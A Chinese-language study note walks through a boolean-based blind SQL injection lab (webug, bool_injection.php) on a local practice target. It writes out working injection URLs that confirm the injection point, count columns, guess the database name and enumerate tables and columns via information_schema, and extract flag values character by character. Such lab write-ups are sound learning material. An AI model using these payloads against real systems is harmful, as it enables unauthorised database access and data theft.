布尔注入是盲注之一,进行sql语句注入后,选择的数据并不能返回到前端。只能利用其他方法来判断,还是简单介绍下学到的知识点。
直接单引号测试,页面发生变化
http://localhost/control/sqlinject/bool_injection.php?id=1’ or 1=1%23
页面恢复正常,此处存在注入点
利用order by判断字段
http://localhost/control/sqlinject/bool_injection.php?id=1’ order by 3%23
字段数为2时页面正常
利用left()函数判断数据库名,先判断数据库名长度
http://localhost/control/sqlinject/bool_injection.php?id=1’ and length(database())>4%23
判断出数据库名长度为5
http://localhost/control/sqlinject/bool_injection.php?id=1’ and left(database(),1)>‘a’ %23
开始猜数据库名,一步步猜出数据库名为webug,替换数字时需要加一个测试字符
查看当前数据库表
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))>98%23
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
爆出所有数据库名
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23
表名下面有flag,直接查询列
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘flag’ limit 0,1),1,1))>100%23
判断出字段有id,flag
查询flag字段的值
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23
爆出的flag字段为dfafdasfafdsadfa,提交失败,尝试爆第二张表
http://192.168.199.143/control/sqlinject/bool_injection.php?id=1’and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 0,1),1,1))>97%23
env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
猜测所有flag都在这里面
http://localhost/control/sqlinject/bool_injection.php?id=1’ and substr((select envFlag from env_list where id=1 limit 0,1),1,16)=‘dfafdasfafdsadfa’%23
测试了第一关flag
在第一关直接爆第二关的flag,flag正确
正常猜测第二关flag
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>98%23
最后得出flag:fdsafsdfa